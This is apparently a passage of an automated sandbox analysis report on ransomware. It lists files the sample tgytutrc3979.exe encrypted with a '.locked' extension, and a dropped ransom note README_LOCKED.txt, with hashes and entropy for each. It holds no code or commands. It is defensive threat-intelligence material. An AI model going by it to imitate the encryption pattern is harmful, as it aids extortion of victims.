MD5:	BAE5060C32D3E4EB4A57CEDAB9B11CBA
SHA1:	D710AD1E3E279B88F2D018870A581C0FC3C93E28
SHA-256:	18E043AFA25534D3B39B6771D0CB213495243803C973A375C355662425AFFECE
SHA-512:	4F4571F77CA0FE1C46258B558D6BE3B471F882A8CF777DFA87A7072F36EF554ACEF7697742623C6D27F1720205625D74A0592FA1814F69E5C8F9D2B2776661CA
Malicious:	false

C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.fr\Proof.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1606
Entropy (8bit):	7.861961491157023
Encrypted:	false
MD5:	2AF418D2FC00CC7F2ECE8A795CC6000D
SHA1:	9E0B15A9DC5FB8248CDD3BCDD781E799D9ECA6C5
SHA-256:	646DBE69B60A4AC596E7E9D9D61E737DB3DF45AAA98EE47A098F45BFE75189E2
SHA-512:	2106749FFC4DE9D112C10F1938D0490FD7792BA98A98379BE0C2CB9586CF5FB97C935873CD38C08B7A9E59AE3700FB84D462643ED382D35834D2736C0B536961
Malicious:	false

C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proofing.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	959
Entropy (8bit):	7.754766315956118
Encrypted:	false
MD5:	15B2705E8D47F4BE3BDDB3D163B1995F
SHA1:	1323092FD93A8C86D5A0B58365A203E85A425211
SHA-256:	33B7FE8AFEA19EED4AC7F6793254643CA152C7258E030A4E4C6F07F43555C458
SHA-512:	994DE4286B8C5F879CD3B21C2B354C304AFBA4AD40A82F6B515DFBFBD23A1B4044953141DDC7A1AB2B526823CF4B268749D7160C75A98D7B72A6BC203C734365
Malicious:	false

C:\MSOCache\All Users\{90140000-003D-0000-0000-0000000FF1CE}-C\Office64WW.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	4833
Entropy (8bit):	7.956542191707635
Encrypted:	false
MD5:	E4324E201E107564FE8CB10D30161A99
SHA1:	B79116DC0FCB6C4A4857C297455270D9FF72A5FF
SHA-256:	49657403EE559FAF676D362AED7D5A439171F9C912599B49EAEF9C231B4B7A54
SHA-512:	8484DB5757859B942F8FB6045E52F43734C2F5F66A935D13011C4D1F177B77933962E6493A1BB1D759E592AD7DE611E2E524EF5F64D0B8A054D0CE98CADEB9A0
Malicious:	false

C:\MSOCache\All Users\{90140000-003D-0000-0000-0000000FF1CE}-C\Setup.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	33850
Entropy (8bit):	7.994938251388684
Encrypted:	true
MD5:	DEEE8B393A5D275E545E4F0B77DFCC7A
SHA1:	289CCAAC385C0E3BB8479464A85D0513F53BCE70
SHA-256:	E5D2B13627EF58BBB3F16EBD41C092EABDCACA6BEF3001CE701ED11F147E4F6E
SHA-512:	0FB3C63C0069A9F84CB9FD18BA21E0E952F51B5A4344D18544ACC9E9CF6307830154F08CCA958A83C065D16D799EFBB774EC93C27B11814438E91F137E711A15
Malicious:	false

C:\MSOCache\All Users\{90140000-003D-0000-0000-0000000FF1CE}-C\SingleImageWW.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	16688
Entropy (8bit):	7.989867693605575
Encrypted:	false
MD5:	3ABF8B4E40A7795DA8B1E736BC4D6F0F
SHA1:	767D1363EF89305F00A15345D7BB3DE5F88A2829
SHA-256:	7A9CC22FFD5C6EF3B2DAA68307ECA8990B563CCC13CC53CA241A85C694FC0966
SHA-512:	2929CC709221920661EF2EC5FCC265E9CFF6F2CD86A15D52BD8D57787632635E6F091C829158E0337358FD04067A2D63D0B34C93E11FFE761126286E96415D0E
Malicious:	false

C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\OneNoteMUI.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1754
Entropy (8bit):	7.91279311694669
Encrypted:	false
MD5:	7A7E1B790D6AE2453C3CB75249E4511D
SHA1:	0B8082E911267E474EEAE89BF16A27193FBF59F3
SHA-256:	D5927ADB475244A238084B104CC369055FF5D4D72141F823D81868AB712C1413
SHA-512:	E20B462F70BE83EEF749F50972B9E210667B121A2B1414937A2772C52EA3CA79677562CA582DC1B4EA5ECF4C269EC7A7FD080DF2068BFD6BB2EACC8168480067
Malicious:	false

C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\Setup.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	2136
Entropy (8bit):	7.914138434644988
Encrypted:	false
MD5:	070F94D7E6EAFB727EA652AC0DF80506
SHA1:	97765C0FD17C7F635CD5274769BB19C1D478B2B9
SHA-256:	E707B5966B0C665FE124B50E0BEA263BE4FA71764FD29588E0FB2D27E827C89D
SHA-512:	5432A685CF81A4064EC0A8CDE0403AF4EBE8E75E8E325F94567C9A211E894ED3211E095057FDE8A969C57886063995F11ED0146AF783775D05C81BE60A3C4C2A
Malicious:	false

C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\OfficeMUI.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	5810
Entropy (8bit):	7.968435085058765
Encrypted:	false
MD5:	D4FA253E7C0FBAE566D7BD3D6ADB30A0
SHA1:	F613266D9FD3B5753FBBF0BB9720258C9ACC778D
SHA-256:	AAEB92EDE529E7A0E7A732E9D637F6A026178A7CFB41E05E987B4532AD6DC699
SHA-512:	A1D4FD095A22FAB3E86A0417D92F941778281746C0DEEA20CB5C22778BED8193B8BBE00DBF83FD452BC282617DFD42852C163C3CBBFF67CB1591C99BD2BC8A86
Malicious:	false

C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\OfficeMUISet.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	967
Entropy (8bit):	7.789287606808003
Encrypted:	false
MD5:	A2B315609286A2ADFD478A534C82F11A
SHA1:	C71A8CED207903B10A74E058EA7F64DD415DB5C2
SHA-256:	CA9BADA9DC6424951550313AC44D348B871E4592DF58B2AB130B090B73C37CD5
SHA-512:	1F78CA093C78223AB0AAF2E0200458A7087EC8EDC27D76A267976754F6C8F82993D71C1B6135D4E80E2F342F0121DA21CB07082AD3949BB59517D5108BAC4B94
Malicious:	false

C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\branding.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	596489
Entropy (8bit):	7.999696680234623
Encrypted:	true
MD5:	DA536AD9BF4144BF5F81A6DC69433ACC
SHA1:	DAC229C8DE7B1A321129FC190FCB8F4D6C5A4CDC
SHA-256:	7A02E9454698CD2B3820A71EBBA27986F51A4CB9C113EBDAD76F9EC88EB96B33
SHA-512:	D99F8759597AEA6BE8C6D7FDC6FF939EFEB0B1E8260EA691F0C7DC8AE4128866C4E6806884C98D02DD008D43F0899761A825487C04D9632C5742CA4A0141BCB0
Malicious:	false

C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\branding.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	596489
Entropy (8bit):	7.999680511271072
Encrypted:	true
MD5:	3FF1250E4905AB043277DB4653A6B1AE
SHA1:	AE050D55381A7A237EA80F81C9C5BA0F197877F9
SHA-256:	9F7FBCDC14AFB65DE9F359DFBCFC14FDCDAA914DA5A8A317698C02D2E4E8FF02
SHA-512:	33582E8C03A98D92F34F439BE672D6224E1196D39BC03F9B571FD5C4488AE492AA433B87D9BD902164F5093C8A14ED8AF460F867036E2C8D275DB340F4412BF3
Malicious:	false

C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\AccessMUISet.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	967
Entropy (8bit):	7.779900751898225
Encrypted:	false
MD5:	5D97650976E7A2BEFA026BA0A10D149F
SHA1:	D491BC47730B10C4253712B85E0C6072CE939F14
SHA-256:	DC9005566647DC7C7858187486666DDBB260991D0715B494F0D9A55227A133C7
SHA-512:	87432AA28028C3EB13D7EE5EF8A077AD6345C025B1E7EEDBA199A5D12292B71073AADD6B5DF9D1B281E300278E7A12AB0C22381C7440F8B2C5497E9DB105E7B2
Malicious:	false

C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Setup.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	2772
Entropy (8bit):	7.92797580013567
Encrypted:	false
MD5:	480D867292DED621D86D89947B02667B
SHA1:	979AD429E973C223512B1CC6A37BD78A46A7F77D
SHA-256:	E794A019382E6FC3F841BE79008200767C2270F6C48FA97D4BFC8597C8101704
SHA-512:	F0A75A2C86EA5E38BCC1C5FE4BEC42AEAF4699D8575B48A5C16DA7CF5DABB4C7CD01EED930618286F83001E087B93E7DE3EDD6AD156A4BA79A404FC2B97394B5
Malicious:	false

C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	3061
Entropy (8bit):	7.9387063406133
Encrypted:	false
MD5:	1E2E3F509511DC94804B23B0A3F073D3
SHA1:	CF163458F0413B7C7E2C3FEF55210A0EE286B65A
SHA-256:	0AA98013A99841B0F008BFD1DC9CAC6F12138C9532E0B62B5845F7AA192D4FB7
SHA-512:	AD5F5E3A1EA44BFDF8637B62B342D2230E4DC2C649A9D62D99B64EE30641CF0DD5754A1358E73BA2E999CF6B12426C42008F2A974988A81038D8CC2F091B9BAC
Malicious:	false

C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	2045
Entropy (8bit):	7.902811970351594
Encrypted:	false
MD5:	3A79E760FD68D8ED55018F980573758B
SHA1:	C7CAF7DE722876FE39F325197861A2988BA12F0E
SHA-256:	564E5246EC49B92A9A1722303FEDA55BB702E7B37B624E7B4E590D441958ED2B
SHA-512:	D662312233C746819AC91B95EEA731328F55653840C236FC61B3FA2D039B3BF123B42D0ABD058FFD3C7230E5709DCD4725FD92FF3128C1CD5BC702B15CFFA2F9
Malicious:	false

C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1482
Entropy (8bit):	7.877237304663868
Encrypted:	false
MD5:	77CA403C7AF482CDF297A80AC79619B6
SHA1:	E0789AB8FBE4621173AAA1B8CF16185B237AFB2F
SHA-256:	5D6F5A128FD191238DAB913567563618150E381CDAB209BAE50219EA54FC1865
SHA-512:	B84D329509558B65AB4633FACC12B1A66717A75C75501B9814D4522247D929CD38C3A4BF2765C397D1ED959CA8E2262ED6909B0DB3A7777499161D1C433018E6
Malicious:	false

C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1482
Entropy (8bit):	7.876646621100751
Encrypted:	false
MD5:	844E209E6525E809F27AB544A7A69B5F
SHA1:	7BFB0965B9B81D09FAE0F2852E1F2E5750F57788
SHA-256:	B3C606DA21CF2ED4AF71B471B0EF426CD4E10BDA0FBFBC07EDE469F4F2186DBF
SHA-512:	F493F0824615957383D4B654643DFDB1511BB7DD8EA57DAEDEE81235CBD7C5404D4A466459325629F1EF4CE003F6557D72AEF63C720D95BBE4284B42BF0DEEFD
Malicious:	false

C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	13575
Entropy (8bit):	7.985858197301568
Encrypted:	false
MD5:	5009C3F0370814082CA96D40B35E45B2
SHA1:	EC76C3DFA59F7D65FB3BC4A5BD5DE46CFA8B8A94
SHA-256:	D0B28AA89E83C7777D2D1C1A4C2A595118B7965B1766B8829E50F5D7FDA12FA5
SHA-512:	E60AD78952A2C73D5E4F8CB219661EB1B7AAD9921C4CEEC05D1C003D6DF83C36E61CCE53256457714FE0707076A3D15A24FB644AF145BE45FE983FBA60A841E4
Malicious:	false

C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1660
Entropy (8bit):	7.872486529291032
Encrypted:	false
MD5:	5F51D6CB7239C1A9585A70C7314462C8
SHA1:	D65B972C3FB40920BD8683CF8C066FA649AA8EFD
SHA-256:	5E4EA1AAFEE0055ABA9F1EA81A528C3993BD4169B77594D22A4F4B708E12FECE
SHA-512:	4A8AF73D5BDD8F8642C8685E67A10A13C648764ED337B33217C876B23D070E4869C9FDCDF6692E2273C38B7C5B4303FB3B9AFB53A2C5870B3D8DD27F692D3680
Malicious:	false

C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	11512
Entropy (8bit):	7.983127967481465
Encrypted:	false
MD5:	4C571D463256E92363BD925E473B4449
SHA1:	CE1C42524ADE71D735BCC64E0B8838825602CEB8
SHA-256:	4FF884691F42D730D495A44BD6BEF41D1807A604BB9075B9ABFBFBEA7DADDFDC
SHA-512:	31A46828D7030C67D96C97C4D0C2A36D0ADE817875FEA08A75A715ECA19E55CC80E031AD5E79B5A04D003F190C39AAD959AB04E54CF5C0F87DFCC9A942FCAF10
Malicious:	false

C:\ProgramData\Microsoft\IlsCache\ilrcache.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	557
Entropy (8bit):	7.6342050675951
Encrypted:	false
MD5:	AF5311128CF6A51A7CB20F4C5F7BFFDC
SHA1:	797B864F42C297158AC9D2C2EAA13D33E7068D10
SHA-256:	7C91495A85713027AA7F659C6EC484F13A59EE2298C362BA119563B0A498DCA7
SHA-512:	06EB42E6C00848D9231DE87789360AD9A17434EFFB74B8A061D6C2D2A8498D6B90328DA04F1F6B973D90ADEA7A3A70F89E75316ECB38204E33213A248BCEA530
Malicious:	false

C:\ProgramData\Microsoft\IlsCache\imcrcache.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1841
Entropy (8bit):	7.894839701521667
Encrypted:	false
MD5:	8890EA7EFF7431DAD2BA789230B4DE91
SHA1:	A9B30F28DB1217C894D60BD24774B57B64E1DBAA
SHA-256:	A8D52407B1079430A6DAA0C727FCBAC766BD607BFCE06455D11E6FBD929B7461
SHA-512:	E1463A98B967F0611A0196285D25A3DD756AF44DA1D4438D8F9CDF338350794779560DA66F83BEC04D06CA5BF4F6C31807D0275EA28ABA27164F122AA131043E
Malicious:	false

C:\ProgramData\Microsoft\OFFICE\UICaptions\1036\WWINTL.DLL.trx_dll.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	154612
Entropy (8bit):	7.998753107242566
Encrypted:	true
MD5:	9D1576E39D21813CD5910AAF0C2F5CD0
SHA1:	A8B3C18C29E67CF67E5833B13F0938040CD899C1
SHA-256:	CA6F337694D86AC950300732E148CA89186C25BA4B3BF9A63DBCAB85A9451436
SHA-512:	74012271A6DA783ACE3B38A8E222B2660ED7B2433627E7873C4A6F8FDBD42772DE217C61D18C49BA1C84B77A190C881C29E0438EF47025C5AE2D41B7B90610F6
Malicious:	false

C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	16532
Entropy (8bit):	7.9899334497619945
Encrypted:	false
MD5:	1CCFFB4949807CBC4260BEB2BA7EECA5
SHA1:	25790654330E6DF7F8227823CD9F37B18139C8E0
SHA-256:	6ACE21AD779CD59B5F0857456D73DDAC1A43A8D23BE2C3A5F5808C2EE349D572
SHA-512:	0D6FA7E75EF703072BABDD813E0589634838D959AB3F75DE789734A0A223CE7D770A8ED76B1CBC5D31EA1745D6BF2C1E649544AA2016EF8D87AF4A2B0745CAFC
Malicious:	false

C:\ProgramData\Microsoft\Windows\Caches\{67D69890-D853-4011-A87E-AA64FA83CE5A}.2.ver0x0000000000000002.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	2460
Entropy (8bit):	7.920878004468931
Encrypted:	false
MD5:	7D157C88D2E0E1073F2E414C65EB5A83
SHA1:	CE3C6E718F9BB17741357BCD0CA57F946B4EA7D8
SHA-256:	97B067398FA4DCDC57A37E428206A3455CFA7CD87415F7116813A91F5A7D6041
SHA-512:	7B0F33C958447BF7DF7CA0C28C0CA17A61A4D9938AEC89214244021CB8963B538904DF212D233B35F358697AC50D83ED646A2CB7B264D082430E7C743AB4E761
Malicious:	false

C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000007.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	192796
Entropy (8bit):	7.998942894077482
Encrypted:	true
MD5:	D994D77F945832B01158A9055BED99A3
SHA1:	B81EEB378E03F7B87036DC409FA50FE954D0902E
SHA-256:	0AC2AF0141B55BC1431ACA6E586C361D0E33CCEE70AAB162E52729362CF9F671
SHA-512:	7CE05F2F9FA3D63168C29B689CBE723279DFCCC60A8E6E8FC50B95ACAFF870A3D659280A09C3C2F0AED06D4989D80CAAAA58AD54D86E0DFDE6D190846E8B3C4B
Malicious:	false

C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000b.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	192796
Entropy (8bit):	7.998847669169103
Encrypted:	true
MD5:	F4F2AF977313B03BFE8464EBF1B39948
SHA1:	700D785F6B0969501E4584EA44E6299ACFB2599F
SHA-256:	B8F6AD0A66BF7F556DD0D849612945942BBFAD3099CFD3D980E58FD151C09F40
SHA-512:	BDE154D0229FEAB9697165BE0D2841BC411E81207AA6D444994C315965074EB9727956E2028B15E6290CF6108B10CCBCDDBC2E66BF9B5A8908014675F37016F4
Malicious:	false

C:\ProgramData\Microsoft\Windows\Caches\{86012F79-362C-43D2-98EF-AB58A0A31343}.2.ver0x0000000000000001.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	2476
Entropy (8bit):	7.922011986703191
Encrypted:	false
MD5:	CF69BEB5427A2B4161F7ECEDF69E336B
SHA1:	6E089C8ED6D1C40B0663A59D1E6A79FE235FB8CF
SHA-256:	E87BFF4A8BB1172266FECDACF04AF7119B5DBDF435DC750AB181DD12F5A48FDD
SHA-512:	F84FB5A6F03C81CAAC88FBF43805F15A752CE422E4BC52492FAC8CEF001EE333488735CAF0A9BB616DB18EA8D2DCF46FFC184A1CDD76BF4289B149C81A9B224D
Malicious:	false

C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	415244
Entropy (8bit):	7.999564073075861
Encrypted:	true
MD5:	BDC60C24AC04D5FFACDA567AEAB44FBD
SHA1:	48BCA3A9C635F0BF480FFD1621B7DBA145141684
SHA-256:	7B70E6B35144E5824EF79F9543B741E25328599A6BBD5AD308EA712F947F1418
SHA-512:	C5914B454A3BE7143AFA8DA80C1F026FA8D45FB6D9F300C6A2253A70D0436E2C5425B5A437C126A3E7C2805229854AA3681C4F07D6877B9041D49654A56FBC84
Malicious:	false

C:\ProgramData\Microsoft\Windows\Power Efficiency Diagnostics\energy-report-2011-04-08.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	45141
Entropy (8bit):	7.995002282849746
Encrypted:	true
MD5:	8B6693F9879FBF183FD5FED95E3FC4E4
SHA1:	2BF59EF2DC608386A6A15B7962A9E1DDFB7430B1
SHA-256:	AA78A9BB78F4A82597B87CBDCE05616B12B64492DD17B991958A7E13FF4570C8
SHA-512:	CD5CC7A50324D81091E2433F6906B3DCA34FBBF12D0E8618CBFBDB0D672A571C5D65530F01249E4D5A382A60956342DE2D84D76D62893615EDB7488B60A7F436
Malicious:	false

C:\ProgramData\Microsoft\Windows\Power Efficiency Diagnostics\energy-report-2015-03-09.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	14967
Entropy (8bit):	7.98891439781479
Encrypted:	false
MD5:	9EA8CEF7D73DD22D15BACA9C9ACCF328
SHA1:	66BDCCA04D5DDF58350C891366BF1F7FD08B5D77
SHA-256:	5CF20767A49722E5CF2C06F383E16CD2E0E86962B11A703E8A1EF3BFAED35029
SHA-512:	B78D9B7307656FA89CD1953715C2F961EC5824E7A1BCB287A4EF44A58B59C6BA08E00348101501DF3DD0829E8533D9F16056FE8B6C1AC7DD1018FDF38FDEBA52
Malicious:	false

C:\ProgramData\Microsoft\Windows\Power Efficiency Diagnostics\energy-report-latest.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	14967
Entropy (8bit):	7.98915538563174
Encrypted:	false
MD5:	F04E66CE5EC67F9BC95F5194DF27B54C
SHA1:	E41895BD47D0F399FD809ECEE13D1EC269BA91B4
SHA-256:	0BB39BC2E7866C12035878AD4CD575CC5E68D6BBA1E683EA6E86A9497237F97F
SHA-512:	EA773F622931935867BF90C22C5CAFB608C87B9EDDB1E5B2064320184148828967B8B403BC78B05895566032B1BFF3F72586382B9638660AF5C6DAD6F49E6FBC
Malicious:	false

C:\Users\Public\Desktop\README_LOCKED.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	1439
Entropy (8bit):	4.6626097109253815
Encrypted:	false
MD5:	B0C3680511BB097C2B306A275ED5740E
SHA1:	AF8D16CAF2BC6EC3B79D2EE5B8032D61F6B07D2D
SHA-256:	7FA663BF6AA840278F94E46AE7572BB41474ADF1D80E8AB4EC5E4550FCF30314
SHA-512:	BBE0EEC4863D226ECA393380AE6FA662C24563BF4FFFD1B96B11B45D7CCE23C0FEA0FAE5F66CC743F6ACFE3CEA89C4218E463DC29CDA4F2BBC0FF352BD9D3270
Malicious:	true

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\angular.js.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	557468
Entropy (8bit):	7.999695169531121
Encrypted:	true
MD5:	9972169E4B6293079FD4B63C42278F17
SHA1:	9B59E0A7223F3665616D17BA15676FAF09D5E5D0
SHA-256:	8AFCCC81BA3A80BC07AB41B807124C1DC85328E238AA7F20A852D80211BAEEBA
SHA-512:	AE1E67187DD47EB74B9BD82A19EAA2CB5DFD01348DA2F0E280CD3F35C80EFFFEC6204491B64C56D34A85728A7B4F9A1CFC5759FEBB096595884EFBA4E6A52291
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\background_script.js.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	191455
Entropy (8bit):	7.999253996084645
Encrypted:	true
MD5:	A9AEBFE221060B67D1AE921CCC4107BF
SHA1:	FB984E53A091B35904B6DB57478C0012C4C4F762
SHA-256:	602E4E30BCACC5A34AB3A08D9519C4562DBCC54160616D2F97442FC00D94B8CE
SHA-512:	BEEF39A64B977846A96EAD6E6707DC878D2110EDA33EE721B5760EE5234FA6E32177F9872C77478EE9C64EA5D1A50A6A57CB8132EDC5843BC75F62C852375F25
Malicious:	false

C:\Users\user\AppData\Local\IconCache.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1914458
Entropy (8bit):	7.999905940991702
Encrypted:	true
MD5:	37E8D307FF3459C5B024B5926A71479C
SHA1:	920FB445E632F2583549940AC969877D38337694
SHA-256:	43B602EE821DC158C02FE7810AC47963C6BA39AEF064E5275CFC57FACD86DB2D
SHA-512:	25C2BFC2F0DC237EA292174BE2A0477A3595DB08069A93856029C23D5A6BCCA2368FFB723D5D1A399DF06F12C401B5A469F6073DCBC683E4022740E38267E951
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Office\ONetConfig\b6419f5bc3093b5f22142ce454e02407.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	2171
Entropy (8bit):	7.916183981273332
Encrypted:	false
MD5:	5CA9496D6C8C68511D7EB70E97946EB8
SHA1:	1E7F48FCC9CB11A610EE192174D3FF5DA5A7FA31
SHA-256:	7188F1890E5631239D8F4017C0AE08D33AA7ACCBBCBFB297FDF7DFFBB6CB8BAF
SHA-512:	8C7A34156D4CC4D200C86E190654F8D65EAF85C2EE61D26987742B6DB073578C7AFCD6222C59AE41C06E028D31B63AC66A7C377B012C5CF85BD46BB5F395462A
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\oeold.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	408
Entropy (8bit):	7.433879356964556
Encrypted:	false
MD5:	AC1C65E60B54BE82A70BD3DD54D6CB02
SHA1:	AC26ED52DAE6D4B35654D9AEE33133BFBAB352BD
SHA-256:	E6110298CF3CF7EE307E5044FB28C4B891F21BE6B6776384EC7ED004726F8486
SHA-512:	033F107BC292F563F91E2DFE564E0BCFDB34965D866CCAFA4C588B324FAFA43F14FD437A1DC3480511E036A7E0FBA883679D4B117540E61A7164F71FAEB8220E
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	16532
Entropy (8bit):	7.990597906699774
Encrypted:	true
MD5:	A35BAF2C49D3FCF6AE7B3500E915B073
SHA1:	4BE0276008E81D69AF0E8D10B4BA2C6300282E8F
SHA-256:	6DB2FCC6C4F565E7C01C866ED693FA1921343FA8A451FB3A6FD5B962709C6FE4
SHA-512:	EE9F46B383F6C88940B7B20D48606B362D98BF0082F2904518DFCA2C253EAB75D0FAD4BFCBC04141887D63CCFE465F14CB29498B43BC0FF863B419224C69FB0B
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	116652
Entropy (8bit):	7.998255016860695
Encrypted:	true
MD5:	6E9DA0DF11FE547C1FE9060304DAF6AC
SHA1:	2B7D21CB4C76379AC69A7B7B3C0EA42BC1AE758B
SHA-256:	1FAA07494DF986E8688E5B12B4DF8363570AAE2AFAFCD485B82A3054B5A5543A
SHA-512:	E69CDA1AE8B1DB82CB4D97DC81DEFB1392A4647E4217189C995452B79381D594C52B9BB079D0530FC9094C806EBEE03F659A47B5A784BD4AC600C9A9202346E9
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	114204
Entropy (8bit):	7.998256479522223
Encrypted:	true
MD5:	BEEAE9FAC57CAC863B85C654046115D9
SHA1:	A453C7173FFB4486726605D4AEC3555137A019D9
SHA-256:	3096644930A0ED17CCB6F3DAC7E678BF977B9CF54CBEF375A753A1EC496FEE89
SHA-512:	723B412CF4C1CC3A41F638679F5624E49FACDB21BF5418DAC41DEEAABF60F70F77187F00F6EC5641D1471A914BAED11C1A2B5242C985D5FBFD69C3BEFB7D9DAA
Malicious:	false

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\22qkc0w7.default\cache2\entries\D85795856A15100A0C45C075CFB29C4FC314C2EE.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	48025
